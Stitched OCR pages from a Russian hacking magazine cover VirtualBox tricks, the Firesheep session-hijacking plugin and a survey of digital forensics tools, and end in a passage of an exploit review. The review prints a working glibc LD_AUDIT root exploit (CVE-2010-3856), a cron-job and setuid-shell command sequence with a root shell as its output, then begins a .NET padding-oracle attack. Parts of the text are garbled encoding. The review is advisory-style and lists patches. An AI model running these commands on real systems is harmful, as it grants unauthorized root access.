иначе pcap-файлы будут разрастаться на диске (особенно если ты 
решишь скачать под гостевой ОС какие-то тяжелые файлы).

Трик 5. Переносим существую-
щую Windows-систему в вирту-
альное окружение
Под виртуальной машиной не всегда удобно устанавливать систему с нуля. 
Избежать геморроя с установкой и настройкой дополнительного софта 

можно, если перенести под VirtualBox свою существующую систему. Этот 
процесс называется миграцией, или P2V (Physical-to-Virtual). В отличие от 
Linux’а, перенести Windows с одного железа на другое — не такая простая 
задача. Виной тому ядро и драйверы, которые сильно завязаны на текущее 
оборудование. Каждый, наверное, сталкивался с ситуацией, когда после 
подключения системного диска с виндой к другому компьютеру система 
вместо нормального запуска вываливалась в BSOD. В случае с мигра-
цией на виртуальную машину — ровно такая же ситуация. Разработчики 
VirtualBox не предлагают специальной утилиты для P2V-миграции, но про-
цесс можно проделать вручную. Итак, пошаговая инструкция: 
1. Первым делом понадобится вспомогательная тулза MergeIDE 
(http://bit.ly/Merge_IDE). По какой-то странной причине Windows запо-
минает, на каком IDE/ATA-контроллере она была установлена, и выле-
тает, если контроллер меняется (а под виртуальной машиной он, само 
собой, будет другим). Проблему можно исправить, поковырявшись 
в реестре, но чтобы не заниматься этим вручную, достаточно просто 
запустить BAT-файл MergeIDE.
2. Выключаем компьютер. Теперь наша задача — сделать полный 
образ жесткого диска. Как вариант — можно загрузиться с LiveCD-
дистрибутива и воспользоваться любой низкоуровневой утилитой для 
работы с образами. Идеально подойдет dd. 
3. Полученный образ необходимо преобразовать в VDI-образ, который 
далее мы сможем подключить к VirtualBox. Воспользуемся уже знако-
мой нам программой VBoxManage:

VBoxManage convertfromraw ImageFile.dd OutputFile.vdi

Все, этот образ можно и нужно подключить к VirtualBox’у с помощью 
менеджера виртуальных носителей (вызывается хоткеем <Ctrl+D>).
4. Теперь необходимо создать виртуальную машину и подготовить ее 
к имплантации сложного пациента :). В качестве диска необходимо 
выбрать только что созданный VDI-образ. Еще один обязательный 
момент — активация в настройках виртуалки опции «Включить IO 
APIC».
5. Пробуем загрузить систему. Здесь два варианта: либо все сразу 
заработает, либо система сразу уйдет в BSOD. Если все пошло по 
удачному сценарию, можно смело устанавливать Guest Editions и при-
ступать к работе.
6. В противном случае необходимо выключить виртуалку и загружать-
ся с установочного диска Windows. Проходим до места, где указыва-
ется раздел для установки, и выбираем вместо полной инсталляции 
пункт «repair». Установщик сам доставит все необходимые файлы и 
отконфигурирует винду под новое железо.

Трик 6. Подготовка DualBoot
Но если реальную систему можно подогнать под работу в виртуаль-
ном окружении, не получится ли создать универсальный вариант? 
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Веб-интерфейс phpVirtualBox активно использует AJAX Консольные команды для управления виртуальными 
машинами
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Последнюю версию 
VirtualBox, а также 
всех упомянутых ути-
лит мы выложили на 
DVD-приложении.

dvd

DVD
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Чтобы система могла грузиться сама по себе, а в случае 
необходимости — под виртуальной машиной. Возможно 
ли такое? Да! Правда, для этого виртуалке необходим 
доступ «наружу», то есть напрямую к жестким дискам 
компьютера. В VirtualBox такая возможность называется 
«raw hard disk access» и предлагается разработчиками 
с массой предупреждений о том, что это верный способ 
убить систему. И, кстати, они не шутят :). Еще бы, ведь 
нарушается целостность понятия изолированной вир-
туальной системы — она получает доступ вовне. И все-
таки, как включить raw hard disk access?
Прямой доступ к дискам (как ко всей поверхности, так и 
к отдельным разделам) реализован как часть формата 
дисков для виртуальной машины VMDK.  Необходимо 
создать специальный образ, в котором будет указано, 
где на самом деле будут храниться данные на физиче-
ском диске. Принцип понятен: подключив такой образ к 
виртуальной машине, ты получаешь доступ к жесткому 
диску. Проще всего дать виртуалке доступ вообще ко 
всему жесткому диску: 

VBoxManage internalcommands createrawvmdk 

-filename /path/to/file.vmdk -rawdisk \\.\

PhysicalDrive0 -register

Это пример для винды. Под линуксом путь к физическо-
му диску, конечно же, будет другим, например, /dev/sda. 
Создание образа предполагает, что у тебя есть доступ 
для записи и чтения с указанного девайса. Те же права 
потребуются для обращения к файлам из виртуальной 
машины. После создания VMDK-файла остается подклю-
чить его к виртуальной машине:

VBoxManage storageattach WindowsXP 

--storagectl "IDE Controller" --port 0 

--device 0 --type hdd --medium /path/to/

file.vmdk

Если все сделано правильно, виртуальная машина 
будет грузиться с указанного физического диска. Но 
это лишь часть работы. Чтобы система работала и под 
виртуальной машиной, и без нее, придется немного 
поковыряться. Подробнейшие пошаговые инструкции 
доступны на форуме VirtualBox: для Windows XP (http://
bit.ly/dualbox_xp) и Windows 7 (http://bit.ly/dualboot_w7). 
Повторяться не будем.

Трик 7. Wi-Fi и вардрайвинг 
под виртуальной машиной
Используя виртуальную машину, на которой установлен 
Linux, я не раз сталкивался с ограничениями из-за 
отсутствия прямого доступа к Wi-Fi-адаптору. Да, сде-
лать инет в гостевой системе через хостовую ОС — не 
проблема, но использовать беспроводной адаптер 
со специальными приложениями просто не выйдет. 
Поэтому всякий раз, когда была необходимость поэк-
спериментировать с беспроводными сетями с помощью 
aircrack’а и kismeta, чтобы послушать эфир или оценить 
защиту хотспота, приходилось запускать линукс с загру-
зочной флешки. Проблема эта, как оказалось, легко 
решаема благодаря возможности VirtualBox обращаться 
к USB-устройствам напрямую. Другими словами, можно 
купить за $20 USB’шный Wi-Fi-адаптер (причем сразу 
на правильном чипсете и с возможностью использо-
вать внешнюю антенну) и сделать так, чтобы гостевая 
система думала, что он подключен к ней. Конечно, после 
подключения устройства к компьютеру/ноутбуку девайс 
определяется и устанавливается в основной системе (в 
моем случае — Windows). Но если зайти в свойства вир-
туальной машины и найти там раздел USB, то любое из 
устройств можно «примонтировать» к гостевой ОС. Для 
этого нажимаем на кнопку «Добавить новый фильтр» и 
из контекстного меню выбираем наш USB’шный адап-
тер. Все, устройство отключится от хостовой ОС и станет 
доступным в виртуальной машине. Пробуем запустить 
под Backtrack’ом aircrack и убеждаемся, что все рабо-
тает. Наконец-то все это стало возможным без переза-
грузки в Linux.
Напоследок еще один маленький секрет. VirtualBox, хотя 
и прочно устанавливается в системе, вполне работоспо-
собен при запуске с флешки. Умельцы заморочились и 
сделали Portable-версию виртуальной машины и пред-
лагают загрузить ее всем желающим с сайта www.vbox.
me.z
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Виртуальный адаптер VirtualBox в системе 
позволяет полностью отснифать трафик 
виртуальной машины

Хитрый код MergeIDE от немецких разработчиков

О том, как под вир-
туальной машиной 
установить Mac OS X, 
ты можешь прочитать 
в нашем материале 
«MacOS X + VirtualBox 
= любовь» в номере 
][ от 08.2010. PDF-
версия этого материа-
ла будет на диске.

info
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Каждый год на конференции Chaos 
Construction на одной из стен выводится 
огромное количество текстовых данных. Это 
«стена позора», а данные на ней — перехва-
ченные в открытой Wi-Fi-сети HTTP-сессии. 
Если кто-то заходил в Twitter или преслову-
тый ВКонтакте по незащищенному соеди-
нению, его данные тут же фиксировались на 
этой стене. HTTP session hijacking с автома-
тическим выводом результатов на проектор. 
Казалось бы, вот тебе живая демонстрация 
незащищенности как беспроводной сети, так 
и онлайн-сервисов. Но нет. Ведь даже ауди-
тория конференции, подготовленные в своей 
массе пользователи, с завидным упорством 
продолжали делиться своими сессиями 
со сниффером. Но если не так, то как еще 
показать людям, что открытая сеть несет в 
себе большую опасность, а онлайн-сервисы, 
наконец, обязать производить авторизацию 
пользователя через защищенное соеди-
нение? Эрик Батлер, программист из Сан-
Диего, решил так: надо упросить процесс 
угона сессия донельзя, доведя его буквально 
до одного клика. Может тогда дойдет? 
Еще недавно для отлова паролей и HTTP-
сессий приходилось хоть как-то заморо-
читься. Мы уже рассказывали о небольшой 
утилите WifiZoo. Она написана на Python с 
использованием библиотеки Scapy и позво-
ляет извлечь из эфира беспроводной сети 
массу полезной информации. В том числе 
пароли для незащищенных протоколов, 
почтовый трафик,  данные авторизации и 
HTTP-кукисы. Весь «улов» просматрива-
ется через простенький веб-интерфейс. 
Сложность в использовании заключается в 
необходимости загрузиться под Linux, запу-
стить скрипт на Python’е и дополнительно 
установить сниффер Kismet. Маленький, 
но все же геморрой. Помимо этого у нас на 
диске были несколько утилит для винды, 
специально нацеленные на реализацию 
угона HTTP-сессий, взять хотя бы Hamster 
Sidejacking Tool и sessionthief. Но все равно 
эти утилиты не для всех. Не так-то просто 
объяснить неподготовленному человеку, что 
такое cookie и сессия.
Эрику Батлеру же удалось написать убий-
ственно простое решение, которое уж точно 
поможет сделать проблему понятной для 
всех. Чтобы не акцентировать внимание на 
самих перехваченных данных, он решил 
сразу продемонстрировать, как эти данные 

могут быть использованы. Непосредственно 
сниффер и анализатор логов он встроил 
туда, где данные о сессиях нужны больше 
всего — прямиком в браузер. Реализованная 
в виде плагина для Firefox утилита Firesheep 
(codebutler.com/firesheep) была представ-
лена на security-конференции Toorcon 12. 
Задача упрощена настолько, что от поль-
зователя требуется лишь получить доступ к 
открытой сети и нажать на панели кнопку 
«Start Capturing». Как только кто-то из сети 
посетит сайт по незащищенном соединению, 
Firesheep тут же даст знать, отобразив дан-
ные на экране. Проблема может возникнуть с 
неправильно выбранным сетевым интерфей-
сом, который задается в настройках плагина. 
А боковая панель, где отображаются данные 
Firesheep, может быть свернута по умолча-
нию. Но это единственные сложности. 
Впечатляет та изящность и, не побоюсь 
этого слова, дерзость, с которой реализована 
система для вывода данных. Для каждой 
перехваченной сессии отображается назва-
ния и логотип онлайн-сервиса, имя пользо-
вателя и даже его аватар. Один клик по нуж-
ному элементу — и в новой вкладке браузера 
будет открыта страница с использованием 
перехваченных данных жертвы! Вот уж точно, 
нагляднее не придумать. Сервисы, для кото-
рых осуществляется угон сессии, задаются в 
настройках плагина (вкладка Websites). Для 
каждого из них здесь написан небольшой 
JS-скипт, в котором написано, как получить 

имя пользователя, его аватар и использовать 
данные перехваченной сессии. Изначально в 
плагин встроены сценарии для двух десятков 
популярных западных сервисов, в том числе 
Twitter, Dropbox, Google, Но если взять за 
основу эти примеры, за пару минут можно 
написать скрипт для произвольного сайта. К 
тому же кнопка в нижней панели позволяет 
отображать данные перехваченных сессии в 
чистом виде, без обработки их скриптами.
Но что ответить на изумленный взгляд и 
резонный вопрос человека: «Как этого избе-
жать?». Ответ может быть только один: посто-
янно использовать HTTPS-соединение! Такая 
опция есть, например, в настройках Gmail. К 
сожалению, не все сервисы это поддержи-
вают. И почти никто не предлагает исполь-
зовать защищенный протокол по умолчанию. 
Для Firefox’а есть замечательный плагин 
ForceTLS, который проверяет поддержку сер-
вером HTTPS, и принудительно заставляет 
работать именно через защищенное соеди-
нение. Есть еще HTTPS Everywhere — это 
менее универсальный плагин, но он также 
заставит браузер работать через HTTPS с 
популярным западными сервисами. Удобнее 
же всего использовать VPN-соединение или 
хотя бы систему Tor, которые постоянно будут 
шифровать твой трафик, передаваемый по 
открытой сети. К тому же в беспроводных 
сетях, использующих защиту WPA2, трафик 
клиентов защищен не только для людей 
извне, но еще и друг от друга. z

Óãîí HTTP-ñåññèè â îäèí êëèê

Максимально удобная реализация session highjacking
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Сама сфера forensic — не самая развитая в России. Мало кто знает, 
что в действительности делают с компьютером следователи, когда 
его изымают в рамках какого-то расследования. Тем не менее, во 
всем мире forensic является важным направлением информационной 
безопасности. Поэтому нет ничего удивительно в том, что утилиты для 
расследования инцидентов стремительно развиваются. Одна из кате-
горий таких программ занимается анализом временных файлов брау-
зера, которые могут многое рассказать о деятельности пользователя. 
С этих утилит мы и начнем.

Анализ истории 
и файлов браузера
Вот тебе пример. Хакер полностью отрицает свою причастность ко 
взлому некоторого онлайн-магазина и уверяет, что вообще незнаком 

со взломом. Но после первой же экспертизы ему показывают толстый, 
напечатанный на A4 отчет, в котором зафиксирована история его 
сетевой активности, включающая запись о посещении того самого 
злополучного магазина и, что хуже всего, данные из кэша браузера, 
которые могли там оказаться только по факту доступа пользователя 
к защищенной части сайта. Факт взлома на лицо. А помимо этого в 
системе «случайно» обнаружатся авторизированные SSL-сертификаты 
для каких-нибудь компрометирующих сайтов. Многие из этих дан-
ных свободно извлекаются из папок вроде Documents and Settings\
user\Local Settings\History\ или Documents and Settings\user\Local 
Settings\Temporary Internet Files. Но намного более полный отчет и 
за очень короткий промежуток времени позволяют составить спе-
циализированные утилиты. Для браузера Chrome это ChromeAnalysis 
(forensic-software.co.uk/chromeanalysis.aspx). На выходе из програм-
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  ×òî òàêîå ðàññëåäîâàíèå èíöèäåíòîâ? Ïî ñóòè, ýòî äåòåêòèâíàÿ 
ðàáîòà, òîëüêî â êîìïüþòåðíîì ôîðìàòå. Öåëü — ñîáðàòü 
äîêàçàòåëüíóþ áàçó íåêîòîðîé äåÿòåëüíîñòè ïîëüçîâàòåëÿ, 
ïîäòâåðäèòü èëè îïðîâåðãíóòü íåêîòîðûå ôàêòû. Ýòî íàïðàâëåíèå 
ÈÁ íàçûâàåòñÿ digital forensic, à åãî ýêñïåðòû èñïîëüçóþò öåëûé ðÿä 
èíñòðóìåíòîâ, ïîçâîëÿþùèõ âûÿâèòü, ÷òî ïîëüçîâàòåëü äåëàë íà 
êîìïüþòåðå, êàêèå ñàéòû ïîñåùàë, êàêèå ôàéëû ïîñïåøèë óäàëèòü 
è ò.ä. Ïî÷åìó áû íå âçÿòü ýòè èíñòðóìåíòû íà âîîðóæåíèå?

  Капитан Улитка 

Íàøà ïîäáîðêà ïðîãðàìì 
äëÿ ïðîâåäåíèÿ forensic-ðàññëåäîâàíèé

Îòäåë 
ðàññëåäîâàíèÿ 
èíöèäåíòîâ



мы эксперту предоставляется подробная информация об истории 
посещения сайтов, кукисах, букмарках, скачанных файлах, заполнен-
ных формах, сохраненных логинах и т.д. — короче говоря, всему, что 
удастся выудить из системы в ходе своеобразной рыбалки. От тех же 
разработчиков есть аналогичная утилита для Firefox — FoxAnalysis 
(forensic-software.co.uk/foxanalysis.aspx). Если ты думаешь, что кноп-
ка «Удалить все приватные данные» непременно затрет все логи 
в Firefox, попробуй ее заюзать, и результат тебя удивит. Более уни-
версальной утилитой является Web Historian (www.mandiant.com), 
поддерживающая сразу Firefox 2/3+, Chrome 3+, Safari 3+ и Internet 
Explorer вплоть до 8 версии. Одна из приятных опций — произволь-
ные фильтры, позволяющие из огромного массива данных извлечь 
только то, что тебя интересует. Например, историю загрузок файлов 
определенного типа (скажем, PDF). Помимо этого в программу встро-
ены  инструменты Website Analyzer и Website Profiler. Первый позво-
ляет визуализировать history-данные, превратив скучную таблицу 
в красивые графики, которые классно дополняют отчет. А Website 
Profiler генерирует обобщающую карточку для любого домена, ото-
бражая все связанные с ним элементы: время посещений, названия 
страниц, кукисы, закэшированные файлы, данные из форм и т.д. Вся 
информация хранится во встроенной SQLite-базе данных, что позво-
ляет программе так лихо ею оперировать. 
Отличительной чертой всех трех утилит является необходимость в их 
запуске на целевой системе. И хотя можно произвольно указать файл 
с историей или папку с профайлами пользователя, это не совсем 
то, что нужно профессиональной экспертизе. При проведении ана-
лиза всегда создается полный образ жестких дисков (об этом ниже) 
и, чтобы никак не повлиять на целостность данных, работа ведется 
именно с ними. Коммерческий продукт от Digital Detective (www.digital-
detective.co.uk) также предназначен для анализа файлов браузера, 
но извлекает данные из образов носителя, а также дампов памяти 
(в том числе crash-файлов, которые создаются при отказе системы), 
временных файлов, созданных при переводе компьютера в режим 
гибернации, точек восстановления и т.д. Другая программа от тех же 
разработчиков HstEx (уже бесплатная) и вовсе является уникальной, 
потому как восстанавливает очищенную историю браузера и файлы из 
кэша, которые были удалены! В качестве исходных данных ей необхо-
дим образ диска (в одном из девяти поддерживаемых форматов). Если 
человек захотел что-то утаить, удалив эти данные, HstEx поможет их 
извлечь из недр жесткого диска. 

Анализ файловой системы 
Важная часть любого forensic-исследования — создание и анализ 
образов жестких дисков. И если для создания точной копии (обычно 
это называется raw disk image) вполне достаточно стандартной линук-
совой утилиты dd, то для анализа необходимы сложные инструменты. 

Одним из самых именитых и распространенных решений является 
набор утилит The Sleuth Kit («набор следователя»). По сути, это набор 
консольных программ, с помощью которых можно осуществить самые 
разные операции для поиска и извлечения данных с исследуемого 
компьютера. Связка TSK хороша тем, что позволяет получить деталь-
ный отчет о системе, выявить любые, в том числе удаленные файлы, 
выявить скрытые бинарники, скрываемые руткитами, при этом не 
нарушив целостности системы, что крайне важно для сбора доказа-
тельств. TSK сам определяет структуру разделов и извлекает отдель-
ные разделы, чтобы их можно было проанализировать с помощью ути-
лит для анализа файловой системы. Тут надо понимать, что TSK никак 
не завязан на ту операционную систему, которая использовалась в 
исследуемом компьютере. Входящие в ее состав утилиты анализи-
руют разделы в файловых системах FAT, NTFS, Ext2/3, UFS, выводят 
листинги всех каталогов, восстанавливают удаленные файлы, извле-
кают файлы из скрытых потоков NTFS. Интересной опцией является 
построение временной диаграммы обращения к файлам, на основе 
которой можно построить график активности пользователя. Создатели 
TSK намеренно развивают свое решение как набор консольных утилит. 
Отлично понимая, что проводить анализ в таком формате — не самый 
удобный путь, они предоставляют реализацию графического интер-
фейса на откуп сторонним разработчикам. В качестве примера они 
предлагают свой бесплатный Autopsy Forensic Browser — своеобраз-
ный браузер по логам The Sleuth. GUI-оболочка позволяет серьезно 
упростить работу с утилитами из TSK, проверять целостность исходных 
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данных, осуществлять поиск по ключевым словам и т.д. Более удоб-
ным инструментом является оболочка PTK (ptk.dflabs.com/ru/index.
php). На сайте доступна как бесплатная базовая, так и платная про-
фессиональная версии. Основу программы составляет ядро индек-
сирования, выполняющее различные операции предварительного 
анализа в моменты получения фрагментов информации об инциденте. 
Данные хранятся в MySQL-базе, что позволяет эффективно осущест-
влять поиск по извлеченным данным. Выбор MySQL не случаен: PTK 
реализовано как веб-приложение с AJAX-интерфейсом.

Исследование образа и поиск 
данных
Кстати, чтобы, не дай бог, ничего не сбить в системе злоумышленника 
(чтобы тот не использовал этот факт для своей защиты в суде), ком-
петентные эксперты обязательно сделают точную копию накопителя. 
И для этого пустят в ход, к примеру, знаменитую утилиту Safeback 
(forensics-intl.com/safeback.html). В результате будет составлен сжатый 
файл, в котором и будет сохранена вся инфа с харда (в том числе и с 
SCSI-винтов). Чтобы заверить подлинность такого образа, программа 
создает специальный лог-файл, в котором документируется весь про-
цесс копирования, просчитываются контрольные суммы, фиксируются 
серийные номера накопителей. Еще одним признанным в forensic-
кругах инструментом является The Forensic Toolkit Imager (FTK Imager). 
Помимо непосредственно создания образа накопителя, он позволяет 
позже примонтировать его к системе. Я же лично использую для этих 
целей программу P2 eXplorer (www.paraben.com/p2-explorer-pro.html).
Эти утилита поддерживает полтора десятка форматов образов и 
позволяет подключить их к системе, как настоящие физические 
диски. На деле это означает, что ты можешь натравить на данные 
любые forensic-утилиты и сохранить целостность доказательств. 
Образы монтируются не только для того, чтобы просмотреть логи-
ческие файлы — к системе подключается полный поток данных, в 
том числе неразмеченное пространство и удаленные данные. Среди 
поддерживаемых форматов: образы EnCase, SafeBackm, WinImage 
и Linux DD, а также образ дисков виртуальных машин VMware и 
VirtualPC.
Получив в системе виртуальный жесткий диск (замечу, не логические 
диски, а именно весь жесткий диск), можно использовать любые 
доступные инструменты. В том числе программы для восстановления 
данных. На страницах журнала мы часто упоминали о программе 
R-Studio (www.r-studio.com), которая является одной из ведущих раз-

работок в этой отрасли. Но в этих целях вполне можно использовать и 
бесплатные решения, например, Scalpel (www.digitalforensicssolutions.
com/Scalpel). Уникальность программы заключается в том, что она 
не зависит от файловой системы. «Скальпель» имеет базы сигнатур 
начала и конца разных форматов и пытается найти такие файлы на 
диске. Поэтому восстановление возможно как с FATx, NTFS, ext2/3, так 
и с «голых» (raw) разделов.

Продвинутый поиск данных
Образ диска часто создается с помощью программно-аппаратных 
решений. Стандартом де-факто в мировой практике проведения 
forensic-расследований является программный комплекс Encase. 
Ее, в частности, используют государственные структуры во многих 
странах мира. Решение работает под виндой и может опционально 
использовать для создания образа накопителя устройства FastBlok, 
реализующую функцию быстрого копирования дисков с блокировкой 
записи. А собственный формат образов накопителей — Encase (LEF 
или E01) — является общепризнанным, поэтому часто обрабатывается 
другими программами forensic-направленности (в том числе 
P2 eXplorer). Самая же важная функция этого продукта — выполнение 
поиска данных по ключевым словам на логическом и физическом 
уровнях, в том числе среди удаленной и остаточной информации. 
Документы различных типов, кэш браузера, реестр винды, база дан-
ных почтовых программ (в том числе Outlook’а) — перечень струк-
тур, которые умеет парсить Encase, можно очень долго продолжать. 
Осуществлять поиск можно не только по ключевым словам, но и с 
помощью сложного запроса с использованием регулярок в GREP-
синтаксисе. А благодаря встроенному макроязыку EnScript вполне 
реально написать сценарий для автоматического исследования кри-
миналистически значимой информации. Понятно, что такой серьез-
ный комплекс дружит сразу со всеми известными операционными 
системами и может быть использован даже при анализе портативных 
карманных компьютеров и носителей.
Для обучения работы с Encase компания-разработчик проводит спе-
циальные курсы и сертификацию. Это не самый простой инструмент; 
более доступным решением считается продукт Forencis Toolkit (www.
accessdata.com). Основная фишка FTK — это максимально быстрая 
работа с прикладным уровнем системы. Она гораздо проще Encase и 
предусматривает сразу несколько вариантов просмотра образа диска. 
К примеру, можно выбрать в меню программы пункт «Электронные 
таблицы», и FTK тут же выведет список всех найденных xls-файлов с 
подобных описанием и указанием месторасположения. Аналогичным 
образом легко отыскиваются базы данных, графические файлы и 
сообщения электронной почты. Достаточно кликнуть на PST-файл 
Outlook — и FTK раскодирует все его содержимое, в том числе 
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посланную почту, журнальные записи, задачи, календарь 
и удаленные документы. На борту программы присутству-
ет база ключевых слов, по которым осуществляется поиск 
компрометирующей информации. Примеры слов из этой 
базы: «cc», «tan»,» pass».

Полезные тулкиты
Помимо оффлайн-тестирования, когда эксперт имеет 
дело с накопителями данных, существуют различные 
методики для live-исследования системы. Перечислять 
утилиты, которые могут быть полезны для анализа 
Windows-системы и составления комплексного отчета, 
можно очень долго. Но делать этого не нужно, потому что 
многие из признанных утилит, которые могут быть так или 
иначе полезны, собраны в одном комплексном пакете 
WinTaylor (www.caine-live.net). Подробная информация 
обо всех ActiveX-компонентах, истории браузера, дамп 
памяти и отчет о сетевой активности, отчеты о системе, 
созданные Windows Forensic Toolches и Nigilan 32, логи 
утилит Марка Руссиновича — все это аккумулируется в 
итоговом отчете WinTaylor. Любую из утилит ты можешь 
запустить отдельно. Хочешь получить данные обо всех 
флешках, которые когда-либо были подключены к систе-
ме? Нет проблем — запусти утилиту USBDeview, входящую 
в набор.
Утилита Memoryze не входит в WinTaylor, но определенно 
заслуживает внимания. Как называют программу сами 
разработчики, — это бесплатное решение, которое помо-
гает следователям находить «зло» в памяти. Отсюда ста-
новится понятна основная задача программы — создание 
и анализ дампа оперативной памяти, а также исследова-
ние содержимого оперативки на живой системе. Среди 
фич Memoryze: создание полного дампа системной памя-
ти, запись адресного пространства любого приложения 
на диск (в том числе загруженных DLL, EXE, кучи и стека), 
создание образа загруженных драйверов, а также полный 
репорт по запущенным процессам (используемые ими 
файлы, ключи реестра и т.д.). 
Тут надо сказать, что те же самые разработчики занима-
ются разработкой и специального LiveCD-дистрибутива, 
который включает утилиты для forensic-анализа, но уже 
под Linux. Дистрибутив называется CAINE (Computer Aided 
INvestigative Environment) и доступен для загрузки с того 
же сайта. В качестве альтернативы подобному решению 
можно также попробовать Orion Live CD (sourceforge.net/
projects/orionlivecd).

Forensic телефона
В завершение хочу заметить, что область Forensic не 
всегда распространяется только на анализ компьютеров 
и ноутбуков. Областью исследования могут стать любые 
девайсы, которые имеют встроенную память, напри-
мер, сотовый телефон. В расследовании используются 
свои узкоспециализированные средства, учитываю-
щие специфику разных моделей мобильных устройств. 
Одним из таких решений является модуль The Cellebrite 
UFED Physical Pro (а также его аналог — Mobile Phone 
Examiner), который поддерживает более 3000 тысяч 
мобильных устройств, а также разных GPS-девайсов. 
Что он позволяет извлечь? Очень многое. Возможности 
не ограничиваются извлечением содержимого вну-
тренней памяти телефона, SMS или истории звонков. 
Принадлежность к forensic-утилитам «обязывает» такие 
решения извлекать также и удаленные из внутренней 
памяти данные, коды разблокировки устройства, инфор-
мацию с SIM-карты или, например, очищенную историю 
звонков. С появлением новых мобильных платформ, 
обеспечивать универсальность инструмента становится 
все сложнее, но UFED поддерживает практически все, 
включая последние версии Android и прошивок iPhone. 
Извлеченные данные представляются в удобном для про-
смотра и поиска виде, хотя в сложных случаях никто не 
мешает тебе ковыряться с дампами в hex-виде. z
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ПОВЫШЕНИЕ ПРИВИЛЕГИЙ 
В LINUX

 CVE 

CVE-2010-3856
CVE-2010-3847

 TARGETS 

• Fedora 13
• Red Hat 5
• CentOS 5
• Ubuntu 8/9/10
• Debian 5

 BRIEF 

В предыдущих обзорах мы много говорили об архитектурных багах 
в ОС от Microsoft, но, как известно, не ошибается тот, кто ничего не 
делает. Сегодня мы поговорим об уязвимостях в GNU LIBC, которые 
приводят к повышению привилегий в большинстве популярных 
дистрибутивов Linux. Уже не раз фигурировавший в наших обзорах 
баг-хантер Тэвис Арманди (Tavis Ormandy) обнаружил ошибки в 
динамическом линкере, которые позволяют делать предваритель-
ную загрузку указанных пользователем библиотек для программ 
с установленным setuid-битом. Последствия — захват суперполь-
зовательских прав. Вообще, разработчики и раньше знали об 
этой ошибке (4 года), но решили не патчить ее, так как считали, что 
эксплуатация невозможна, потому что по факту линкер игнорирует 
предзагрузку библиотек откуда попало для stuid-программ. Вот 
Тэвис и доказал, что разработчики неправы, выпустив эксплойт, 
показывающий, как можно обойти это ограничение и захватить 
власть в ОС.

 EXPLOIT 

Уязвимость существует как минимум в двух вариантах, мы будем 
рассматривать более позднюю (CVE-2010-3856), так как она присутс-
твует и в Ubuntu, которая есть у меня на виртуалке :).  Обе уязвимости 
имеют общие корни, но различную реализацию; если тебе интересно, 
то подробнее про первый эксплойт можно почитать тут: exploit-db.com/
exploits/15274/. Итак, теперь перейдем непосредственно к эксплойту, 
который представляет собой последовательность *nix-команд.

$ umask 0

Данная команда задает маску прав для вновь создаваемых файлов. 
Параметр «0», говорит системе, что все создаваемые файлы будут 
создаваться с правами «rw-rw-rw-», а директории — «rwxrwxrwx». 
Зачем это надо — увидим потом.

$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/

cron.d/exploit" ping

Собственно, это и есть ключевая команда. libpcprofile.so — это биб-
лиотека, используемая для отслеживания времени выполнения кода 
процесса. Данная библиотека входит в стандартную поставку libc, и ее 
владельцем является root. Переменная окружения LD_AUDIT говорит 
динамическому линкеру ld.so подгрузить приложению указанную биб-
лиотеку для setuid-программы ping. Тэвис не случайно выбрал именно 
libpcprofile.so. Дело в том, что ld.so открывает библиотеку функцией 
dlopen(), что вызывает выполнение кода инициализации из открыва-
емой библиотеки, а в этом коде есть проверка переменной окружения 
PCPROFILE_OUTPUT, и если она есть, то значение этой переменной 
используется как путь для сохранения лог-файла. Как видно, лог у 
нас будет иметь имя exploit  в директории /etc/cron.d. Это директория 
с заданиями для планировщика. Так как ping — setuid-программа, 
то задание «exploit» будет создано от имени суперпользователя... и 
тут вспоминаем, зачем мы делали umask(0) — чтобы права доступа 
для вновь созданного задания были «rw-rw-rw»; таким образом, мы 
можем писать в него все, что хотим.

$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod 

u+s /tmp/exploit\n" > \

/etc/cron.d/exploit

А вот и задание — копируем шелл во временную директорию и ставим 
права setuid. Таким образом через небольшой промежуток времени 
мы получим результат выполнения планировщика — рутовый шелл. 
Результат смотри на скриншоте — у меня все сработало по сценарию.

$ /tmp/exploit

# whoami

root

 SOLUTION 

В некоторых Linux-дистрибутивах вроде OpenWall, давно зная об этих 
особенностях линковщика, разработчики на всякий случай пофик-
сили багу, не дожидаясь, пока Тэвис найдет способ эксплуатации 
уязвимости. От других дистрибутивов надо ждать патча, но, например, 
Debian и Ubuntu уже выпустили их; думаю, к выходу номера в печать 
все дистрибутивы уже будут иметь патч.

АТАКИ НА ШИФРОВАНИЕ В .NET С 
ИСПОЛЬЗОВАНИЕМ УТЕЧЕК ДАН-
НЫХ

 CVE 

CVE-2010-3332
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ÎÁÇÎÐ 
ÝÊÑÏËÎÉÒÎÂ

ВЗЛОМ

01

02

Разбираем 
свежие 
уязвимости



 TARGETS 

• Microsoft .NET Framework 1.1-4.0

 BRIEF 

Вернемся к Microsoft. В этот раз огромная дыра была обнаружена в 
механизме шифрования .NET Framework. На прошедшей конферен-
ции Ekoparty 2010 исследователи Тай Дуонг (Thai Duong) и Джулиано 
Риззо (Juliano Rizzo), развивая тему своего доклада про атаки на сис-
темы шифрования с помощью утечек данных, показали, что почти все 

приложения, основанные на .NET, поддаются атаке. Результат атаки 
— раскрытие ключа шифрования. Так как одни и те же ключи исполь-
зуются для аутентификации в кукисах, форм-тикетах и viewstate, то 
возможна компрометация всего сервера. В качестве доказательства 
была продемонстрирована атака на криптографию .NET с последу-
ющей модификацией кукисов с подобранным ключом, что привело к 
административному доступу к DotNetNuke. А уже с помощью CMS — 
доступ к серверу.

 EXPLOIT 

Для раскрытия секретного ключа применяется метод перебора, но не 
полный, так как это развлечение затянулось бы на несколько десятков 
лет. Сократить перебор можно с помощью подсказок (оракула), 
которые любезно предоставляет .NET  в виде скриптов WebResource.
axd или ScriptResource.axd. В качестве входного параметра «d» они 
принимают зашифрованное имя ресурса. Подсказка заключается в 
том, что если зашифрованная строка неверная, то скрипт об этом ска-
жет, либо прямым текстом, либо HTTP-кодом. Причем, зная алгоритм 
шифрования, можно понять, как и где произошла ошибка. Вернее, 
сам алгоритм шифрования даже неинтересен, потому что достаточно 
знать метод связки блоков шифрования и длину выравнивания. За-
тем, меняя последний байт, можно подобрать правильное значение, 
при котором сравнение выравнивания и последний байт совпадает. 
Итак, выравнивание; так как у нас используется блочное шифрование 
(3DES/AES), то весь текст (имя ресурса) разбивается на блоки по 8 
или 16 байт. Если общая длина не кратна 8 или 16 (в зависимости от 
конфигурации), то оставшаяся часть «дописывается».

+--------------------------------+

| C| h| y| p| h| e| r| t| e| x| t|

+--------------------------------+

|01|02|03|04|05|06|07|08|09|10|11|

+--------------------------------+
